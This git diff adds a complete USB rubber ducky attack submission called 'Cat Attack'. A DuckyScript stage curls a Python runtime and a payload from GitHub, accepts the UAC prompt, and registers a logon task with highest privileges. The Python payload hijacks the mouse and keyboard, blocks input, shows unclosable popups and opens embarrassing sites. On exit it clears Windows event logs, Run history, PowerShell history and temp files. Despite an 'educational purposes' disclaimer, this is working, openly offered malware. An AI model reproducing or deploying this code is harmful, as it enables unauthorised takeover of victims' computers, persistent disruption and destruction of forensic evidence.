diff --git a/submissions/Cat Attack/LICENSE b/submissions/Cat Attack/LICENSE
new file mode 100644
index 0000000..80938be
--- /dev/null
+++ b/submissions/Cat Attack/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 x-9917638
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/submissions/Cat Attack/README.md b/submissions/Cat Attack/README.md
new file mode 100644
index 0000000..cca27e5
--- /dev/null
+++ b/submissions/Cat Attack/README.md
@@ -0,0 +1,35 @@
+# HackDucky
+
+The Hackclub themed USB rubber ducky ! - Check out [hackducky](https://hackclub.slack.com/archives/C08B8HZBC85)
+
+# What is this?
+
+HackDucky is Hackclub's own version of making a USB rubber ducky built by hackclubers. A usb rubber ducky is basically something that looks like a USB but is actually a trojan. It pretends to be a keyboard to the computer allowing you to basically take control of the computer you plug it into.
+
+This is a payload written for a hackyducky consisting of:
+ 1. Basic duckyscript for setting up the second stage of the payload.
+ 2. An embedded python distribution with the Tkinter and pillow libraries installed.
+ 3. A python script that does the real work.
+
+# How it works
+## Stage 1 - DuckyScript
+The victim plugs in the HackyDucky. If their OS is Windows, the script is executed.
+ - It downloads the second stage
+ - It downloads an embedded python distribution
+ - It creates an elevated command prompt, then schedules a task to be run at login
+
+## Stage 2 - Python Script
+This script is executed after the next logon.
+
+There are 3 main features:
+ - Input manipulation - Random mouse clicks, random mouse movement, random caps lock, etc.
+ - Cat images - Gets an image from the [CATAAS](https://cataas.com/) api and displays it in an unclosable, unminimisable window
+ - Browser hijacking - Will randomly open an embarassing webpage (I don't have much of a list right now, give me some ideas)
+All these features run in seperate threads, and will randomly occur to disrupt the user
+
+# Licence
+MIT Licence
+
+# Disclaimer
+This was created for educational purposes only.
+Please do not use this on a machine if you do not have permission to do so.
diff --git a/submissions/Cat Attack/TODO.md b/submissions/Cat Attack/TODO.md
new file mode 100644
index 0000000..a3d0d1f
--- /dev/null
+++ b/submissions/Cat Attack/TODO.md
@@ -0,0 +1,33 @@
+~~DUCKYSCRIPT~~ DONE!
+~~- Open cmd in the background~~
+~~- Curl python to temp appdata directory ~~
+~~- Install python quietly via cmdline~~
+ ~~- Args:~~
+ ~~- /quiet~~
+ ~~- TargetDir=%LocalAppData%\python1~~
+ ~~- AssociateFiles=0~~
+ ~~- CompileAll=1~~
+ ~~- Include_doc=0~~
+ ~~- Include_launcher=0~~
+ ~~- Include_tcltk=0~~
+ ~~- Include_test=0~~
+~~- Curl the main payload.py as an innocuous "py-manager.py" into python1 folder~~
+~~- Curl the autostart.bat as "explorer.bat" into autostart folder~~
+~~- Exit~~
+
+PYTHON
+- ~~Persistence: Copies itself into a few appdata directories~~ CANCELLED
+- Behaviour
+ ~~- Utilise input apis from windows to troll the user~~ DONE
+ ~~- Block input~~ WORKS
+ ~~- Change keyboard layout~~ No work :c
+ ~~- Send a few keystrokes~~ WORKS
+ ~~- Set double click threshold to crazy high so everything become doubleclick~~ WORKS
+ ~~- Swap mouse buttons~~ WORKS
+ ~~- etc.etc.~~ Sense change, cursor trail
+ ~~- Create annoying 'adware' (actually just cat image) popups~~ DONE & WORKING!
+ ~~- Redirects / forced rickrolls~~ DONE & WORKING!
+
+~~BATCH SCRIPT~~ CANCELED - Implemented persistence via task scheduler instead
+~~- Simply run the first instance of the python script it can find~~
+~~- Python script should handle replacing deleted copies already.~~
diff --git a/submissions/Cat Attack/entry.txt b/submissions/Cat Attack/entry.txt
new file mode 100644
index 0000000..c8e1079
--- /dev/null
+++ b/submissions/Cat Attack/entry.txt
@@ -0,0 +1,104 @@
+EXTENSION PASSIVE_WINDOWS_DETECT
+ REM VERSION 1.1
+ REM AUTHOR: Korben
+
+ REM_BLOCK DOCUMENTATION
+ Windows fully passive OS Detection and passive Detect Ready
+ Includes its own passive detect ready.
+ Does not require additional extensions.
+
+ USAGE:
+ Extension runs inline (here)
+ Place at beginning of payload (besides ATTACKMODE) to act as dynamic
+ boot delay
+ $_OS will be set to WINDOWS or NOT_WINDOWS
+ See end of payload for usage within payload
+ END_REM
+
+ REM CONFIGURATION:
+ DEFINE #MAX_WAIT 150
+ DEFINE #CHECK_INTERVAL 20
+ DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
+ DEFINE #NOT_WINDOWS 7
+
+ $_OS = #NOT_WINDOWS
+
+ VAR $MAX_TRIES = #MAX_WAIT
+ WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
+ DELAY #CHECK_INTERVAL
+ $MAX_TRIES = ($MAX_TRIES - 1)
+ END_WHILE
+ IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
+ $_OS = WINDOWS
+ END_IF
+
+ REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
+ IF ($_OS == WINDOWS) THEN
+ STRING HELLO WINDOWS!
+ ELSE
+ STRING HELLO WORLD!
+ END_IF
+ END_REM
+END_EXTENSION
+
+REM Entry point for the python script
+REM Will open cmd
+REM Download python to temp directory
+REM Install python quietly via cmdline
+REM Download and run the main payload
+
+
+
+REM Check OS
+IF (%_OS == WINDOWS) THEN
+ ATTACKMODE HID STORAGE
+ELSE
+ REM Behave as an ordinary usb stick
+ ATTACKMODE STORAGE
+END_IF
+
+FUNCTION RUN()
+ GUI r
+ DELAY 500
+END_FUNCTION
+
+DEFAULT_DELAY 50
+
+
+RUN()
+REM Download python - also that's not an error idk why it doesn't work if path is closed quotes.
+STRINGLN curl -o "tmp.zip" "https://raw.githubusercontent.com/x-9917638/HackyDucky/refs/heads/main/python-embedded.zip" --create-dirs --output-dir "%localappdata%\Temp\py\
+
+REM Download main payload
+RUN()
+STRINGLN curl -q -s --output-dir "%localappdata%\python1" -o "python-manager.py" "https://raw.githubusercontent.com/x-9917638/HackyDucky/refs/heads/main/payload.py"
+DELAY 5000
+
+REM Unzip python
+RUN()
+STRINGLN cmd /c "cd %localappdata% && mkdir python1 > nul & tar -xf Temp\py\tmp.zip --cd python1"
+
+REM remove python download dir to avoid pollution
+RUN()
+STRINGLN rmdir /s /q "%localappdata%\Temp\py\"
+
+
+
+REM Open elevated cmd prompt - assumes default uac level
+GUI r
+DELAY 500
+STRING cmd
+CTRL SHIFT ENTER
+DELAY 300
+RIGHT
+ENTER
+
+REM Add task for startup run as admin
+STRINGLN schtasks /Create /TN "Python Maintenance" /TR "\"%localappdata%\python1\pythonw.exe\" \"%localappdata%\python1\python-manager.py\"" /SC ONLOGON /RL HIGHEST /F
+
+REM Payload will start working on next reboot.
+
+REM Close cmd.exe
+ALT F4
+
+REM Done!
\ No newline at end of file
diff --git a/submissions/Cat Attack/payload.py b/submissions/Cat Attack/payload.py
new file mode 100644
index 0000000..bd0412e
--- /dev/null
+++ b/submissions/Cat Attack/payload.py
@@ -0,0 +1,414 @@
+# This has to be executed as admin
+# Entry script should already handle this
+
+# I know this is a mess, but keeping in one file makes it easier to download
+# no idea why I decided to lazyload everything
+# —————————————————Housekeeping——————————————————
+
+import os
+
+def is_admin() -> bool:
+ try:
+ # only windows users with admin privileges can read the C:\windows\temp
+ _ = os.listdir(os.sep.join([os.environ.get('SystemRoot','C:\\windows'),'temp']))
+ return True
+ except OSError:
+ return False
+
+
+def cleanup() -> None:
+ import subprocess
+ import winreg as reg
+
+ # Clean up some stuff
+ # WIN + R history
+ with reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU", 0, reg.KEY_SET_VALUE) as key:
+ i = 0
+ while True:
+ try:
+
+ reg.DeleteValue(key, reg.EnumValue(key, i)[0])
+ i += 1
+ except OSError:
+ break
+ # Clear event logs, recycle bin, PSReadline history, and temp files
+ subprocess.run(['powershell.exe', '-Command', 'Clear-EventLog -LogName Application, System, Security, \"Windows PowerShell\"'], shell=True)
+ subprocess.run(['powershell.exe', '-Command', 'Clear-RecycleBin -Confirm:$false'], shell=True)
+ subprocess.run(['powershell.exe', '-Command', 'Remove-Item' '(Get-PSreadlineOption).HistorySavePath'], shell=True)
+ subprocess.run(['cmd.exe', '/c', 'rmdir', '/s', '/q', '%localappdata%\\Temp'], shell=True)
+
+import atexit
+atexit.register(cleanup)
+
+# —————————————————Imports——————————————————
+import ctypes
+import time
+import random
+from typing import Callable
+import threading
+
+# —————————————————Mouse Funcs——————————————————
+# Modified from .
+
+from ctypes import c_int32, c_int, c_long, byref, Structure
+from ctypes.wintypes import DWORD
+
+user32 = ctypes.WinDLL('user32', use_last_error = True)
+
+LEFT = 'left'
+RIGHT = 'right'
+MIDDLE = 'middle'
+WHEEL = 'wheel'
+X = 'x'
+
+UP = 'up'
+DOWN = 'down'
+DOUBLE = 'double'
+VERTICAL = 'vertical'
+HORIZONTAL = 'horizontal'
+
+class MSLLHOOKSTRUCT(Structure):
+ _fields_ = [("x", c_long),
+ ("y", c_long),
+ ('data', c_int32),
+ ('reserved', c_int32),
+ ("flags", DWORD),
+ ("time", c_int),
+ ]
+# Beware, as of 2016-01-30 the official docs have a very incomplete list.
+# This one was compiled from experience and may be incomplete.
+WM_MOUSEMOVE = 0x200
+WM_LBUTTONDOWN = 0x201
+WM_LBUTTONUP = 0x202
+WM_LBUTTONDBLCLK = 0x203
+WM_RBUTTONDOWN = 0x204
+WM_RBUTTONUP = 0x205
+WM_RBUTTONDBLCLK = 0x206
+WM_MBUTTONDOWN = 0x207
+WM_MBUTTONUP = 0x208
+WM_MBUTTONDBLCLK = 0x209
+WM_MOUSEWHEEL = 0x20A
+WM_XBUTTONDOWN = 0x20B
+WM_XBUTTONUP = 0x20C
+WM_XBUTTONDBLCLK = 0x20D
+WM_NCXBUTTONDOWN = 0x00AB
+WM_NCXBUTTONUP = 0x00AC
+WM_NCXBUTTONDBLCLK = 0x00AD
+WM_MOUSEHWHEEL = 0x20E
+WM_LBUTTONDOWN = 0x0201
+WM_LBUTTONUP = 0x0202
+WM_MOUSEMOVE = 0x0200
+WM_MOUSEWHEEL = 0x020A
+WM_MOUSEHWHEEL = 0x020E
+WM_RBUTTONDOWN = 0x0204
+WM_RBUTTONUP = 0x0205
+
+buttons_by_wm_code = {
+ WM_LBUTTONDOWN: (DOWN, LEFT),
+ WM_LBUTTONUP: (UP, LEFT),
+ WM_LBUTTONDBLCLK: (DOUBLE, LEFT),
+
+ WM_RBUTTONDOWN: (DOWN, RIGHT),
+ WM_RBUTTONUP: (UP, RIGHT),
+ WM_RBUTTONDBLCLK: (DOUBLE, RIGHT),
+
+ WM_MBUTTONDOWN: (DOWN, MIDDLE),
+ WM_MBUTTONUP: (UP, MIDDLE),
+ WM_MBUTTONDBLCLK: (DOUBLE, MIDDLE),
+
+ WM_XBUTTONDOWN: (DOWN, X),
+ WM_XBUTTONUP: (UP, X),
+ WM_XBUTTONDBLCLK: (DOUBLE, X),
+}
+
+MOUSEEVENTF_ABSOLUTE = 0x8000
+MOUSEEVENTF_MOVE = 0x1
+MOUSEEVENTF_WHEEL = 0x800
+MOUSEEVENTF_HWHEEL = 0x1000
+MOUSEEVENTF_LEFTDOWN = 0x2
+MOUSEEVENTF_LEFTUP = 0x4
+MOUSEEVENTF_RIGHTDOWN = 0x8
+MOUSEEVENTF_RIGHTUP = 0x10
+MOUSEEVENTF_MIDDLEDOWN = 0x20
+MOUSEEVENTF_MIDDLEUP = 0x40
+MOUSEEVENTF_XDOWN = 0x0080
+MOUSEEVENTF_XUP = 0x0100
+
+simulated_mouse_codes = {
+ (WHEEL, HORIZONTAL): MOUSEEVENTF_HWHEEL,
+ (WHEEL, VERTICAL): MOUSEEVENTF_WHEEL,
+
+ (DOWN, LEFT): MOUSEEVENTF_LEFTDOWN,
+ (UP, LEFT): MOUSEEVENTF_LEFTUP,
+
+ (DOWN, RIGHT): MOUSEEVENTF_RIGHTDOWN,
+ (UP, RIGHT): MOUSEEVENTF_RIGHTUP,
+
+ (DOWN, MIDDLE): MOUSEEVENTF_MIDDLEDOWN,
+ (UP, MIDDLE): MOUSEEVENTF_MIDDLEUP,
+
+ (DOWN, X): MOUSEEVENTF_XDOWN,
+ (UP, X): MOUSEEVENTF_XUP,
+}
+
+NULL = c_int(0)
+
+WHEEL_DELTA = 120
+
+
+def _translate_button(button):
+ if button.startswith(X):
+ return X, 1 if X == button else 2
+ else:
+ return button, 0
+
+def press(button=LEFT):
+ button, data = _translate_button(button)
+ code = simulated_mouse_codes[(DOWN, button)]
+ user32.mouse_event(code, 0, 0, data, 0)
+
+def release(button=LEFT):
+ button, data = _translate_button(button)
+ code = simulated_mouse_codes[(UP, button)]
+ user32.mouse_event(code, 0, 0, data, 0)
+
+def wheel(delta=1):
+ code = simulated_mouse_codes[(WHEEL, VERTICAL)]
+ user32.mouse_event(code, 0, 0, int(delta * WHEEL_DELTA), 0)
+
+def move_to(x, y):
+ user32.SetCursorPos(int(x), int(y))
+
+class POINT(Structure):
+ _fields_ = [("x", c_long), ("y", c_long)]
+
+def get_position():
+ point = POINT()
+ user32.GetCursorPos(byref(point))
+ return (point.x, point.y)
+
+
+def click(button=LEFT):
+ """ Sends a click with the given button. """
+ press(button)
+ release(button)
+
+def move(x, y, absolute=True, duration=0.0, steps_per_second=120.0):
+ x = int(x)
+ y = int(y)
+
+ # Requires an extra system call on Linux, but `move_relative` is measured
+ # in millimeters so we would lose precision.
+ position_x, position_y = get_position()
+
+ if not absolute:
+ x = position_x + x
+ y = position_y + y
+
+ if not duration:
+ move_to(x, y)
+ return
+
+ start_x = position_x
+ start_y = position_y
+ dx = x - start_x
+ dy = y - start_y
+
+ if dx == 0 and dy == 0:
+ time.sleep(duration)
+ return
+
+ intervaltime = 1.0/steps_per_second
+ starttime = time.perf_counter()
+ endtime = starttime + float(duration)
+ step_starttime = starttime
+ iteration_starttime = starttime
+ while iteration_starttime < endtime:
+ # Sleep to enforce the fps cap, considering the last step's duration and remaining time
+ last_step_duration = iteration_starttime - step_starttime
+ remainingtime = endtime - iteration_starttime
+ corrected_sleeptime = intervaltime - last_step_duration
+ actual_sleeptime = min(remainingtime, corrected_sleeptime)
+ if actual_sleeptime > 0:
+ time.sleep(actual_sleeptime)
+ step_starttime = time.perf_counter()
+
+ # Move based on the elapsed time to ensure that the duration is valid
+ currenttime = step_starttime - starttime
+ progress = currenttime / duration
+ move_to(start_x + dx*progress, start_y + dy*progress)
+ iteration_starttime = time.perf_counter()
+
+ # Move to the destination to ensure the final position
+ move_to(start_x + dx, start_y + dy)
+# END Mouse Funcs
+
+
+# —————————————————START ACTUAL PAYLOAD—————————————————
+
+# Feature 1 - Input Manipulation
+def mouse_malfunction() -> Callable:
+ # Thanks to https://github.com/boppreh/mouse for the mouse functions
+ """Returns a random function that will create unexpected behaviour with the victim's mouse."""
+ def move_mouse_randomly():
+ move(random.randint(-100, 100), random.randint(-100, 100), absolute=False, duration=0.5)
+ time.sleep(random.uniform(0.5, 2)) # Random delay between movements
+
+ def random_clicks():
+ button = random.choice([LEFT, RIGHT, MIDDLE])
+ click(button)
+ time.sleep(random.uniform(0.5, 2))
+
+ def random_wheel_scroll():
+ wheel(random.choice([-1, 1]) * random.randint(1, 3))
+
+ def double_click():
+ """Change doublie click threshold"""
+ # Basically only affects text selection :c
+ if random.random() < 0.5:
+ user32.SetDoubleClickTime(5000)
+ else:
+ user32.SetDoubleClickTime(1)
+
+ def swap_mouse_buttons():
+ current_state = user32.GetSystemMetrics(23) # SM_SWAPBUTTON - 0 if default, not zero if swap
+ match current_state:
+ case 0:
+ user32.SwapMouseButton(True) # Swap mouse buttons
+ case _:
+ user32.SwapMouseButton(False) # Restore default mouse buttons
+
+ def cursor_trail():
+ user32.SystemParametersInfoW(0x005D, 10, None, 0) # Turn cursor trail on
+
+
+ def sensitivity():
+ new_sense = random.randint(1, 20) # Random sensitivity between 1 and 20
+ user32.SystemParametersInfoW(0x0071, 0, new_sense, 0) # SPI_SETMOUSESPEED
+
+ while True:
+ time.sleep(random.randint(30, 300)) # try stay steathy hopefully lol
+ random.choice([move_mouse_randomly, random_clicks, random_wheel_scroll, double_click, swap_mouse_buttons, cursor_trail, sensitivity])()
+
+
+
+def keyboard_malfunction() -> Callable:
+ def block_input():
+ """Block input for a short time to confuse the user."""
+ user32.BlockInput(True)
+ time.sleep(random.random()) # 0-1 sec just long enough to mess with them but they don't realise
+ user32.BlockInput(False)
+
+ def random_key_presses():
+ """Randomly presses keys to disrupt the user."""
+ A = 0x41 # Virtual key code for A
+ Z = 0x5A # ' ' Z
+ keys = list(range(A, Z + 1))
+ key = random.choice(keys)
+ user32.keybd_event(key, 0, 0, 0)
+ user32.keybd_event(key, 0, 2, 0)
+ time.sleep(random.uniform(0.5, 2)) # Not sure if this is needed
+
+ def broken_caps_lock():
+ """Toggle Caps Lock on and off to confuse the user."""
+ user32.keybd_event(0x14, 0, 0, 0) # Caps Lock key code
+ time.sleep(random.uniform(0.5, 2))
+ user32.keybd_event(0x14, 0, 2, 0)
+
+
+ while True:
+ time.sleep(random.randint(30, 300))
+ random.choice([block_input, random_key_presses, broken_caps_lock])()
+
+
+
+# Feature 2 - Random popup windows, no idea how to do this yet...
+def funny_windows():
+ """Make funny popup windows"""
+ import json, io, PIL.ImageTk, PIL.Image
+ from urllib.request import urlopen, Request
+ import tkinter as tk
+
+ url = 'https://cataas.com/cat?type=square&position=center&width=1000&height=1000&json=true'
+
+
+ root = tk.Tk()
+ root.withdraw() # Hide the root window
+
+ last_window = {} # Track the window we need to close
+
+ def show_cat():
+
+ if last_window.get('window'):
+ last_window['window'].destroy()
+
+ response = json.loads(urlopen(url).read().decode('utf-8'))
+ print(response)
+ window = tk.Toplevel()
+ window.resizable(False, False)
+
+ def _():
+ pass
+
+ # Hehe
+ window.protocol("WM_DELETE_WINDOW", _)
+ window.protocol("WM_ICONIFY", _)
+
+ image_content_url, mime_type = response['url'], response['mimetype'][6:]
+ print(f"Image URL: {image_content_url}, MIME Type: {mime_type}")
+ image_data = urlopen(image_content_url).read()
+ print(f"Image data length: {len(image_data)} bytes")
+
+ image = PIL.Image.open(io.BytesIO(image_data))
+ image = PIL.ImageTk.PhotoImage(image, format=mime_type)
+
+ canvas = tk.Canvas(window, width=image.width(), height=image.height())
+ canvas.create_image(0, 0, image=image, anchor='nw')
+ canvas.pack(padx=0, pady=0)
+
+ window.title("Meow :3")
+ window.image = image
+ window.update()
+ last_window['window'] = window
+
+ # Schedule next popup
+ delay = random.randint(5, 10) * 1000 # milliseconds
+ root.after(delay, show_cat)
+
+ # Start the first popup
+ root.after(0, show_cat)
+ root.mainloop()
+
+
+# Feature 3 - Randomly open sub funny sites
+
+def redirects():
+ """Randomly sends victim to funny places"""
+ import webbrowser
+ sites = [
+ 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', # RIckroll
+ 'https://shipping.fandom.com/wiki/My_Hero_Academia',
+ 'https://www.google.com/search?q=Do%20I%20have%20Syphilis',
+ 'https://www.youtube.com/watch?v=XqZsoesa55w' # Baby Shark
+ ]
+ while True:
+ time.sleep(random.randint(60, 600))
+ webbrowser.open(random.choice(sites))
+
+
+# Example usage for now
+def main():
+ threading.Thread(target=mouse_malfunction()).start()
+ threading.Thread(target=keyboard_malfunction()).start()
+ threading.Thread(target=redirects).start()
+ threading.Thread(target=funny_windows).start()
+
+
+
+if __name__ == "__main__":
+ while True:
+ try:
+ main()
+ break
+ except: # catch everything who cares
+ pass
\ No newline at end of file
diff --git a/submissions/Cat Attack/python-embedded.zip b/submissions/Cat Attack/python-embedded.zip
new file mode 100644
index 0000000..3106c2b
Binary files /dev/null and b/submissions/Cat Attack/python-embedded.zip differ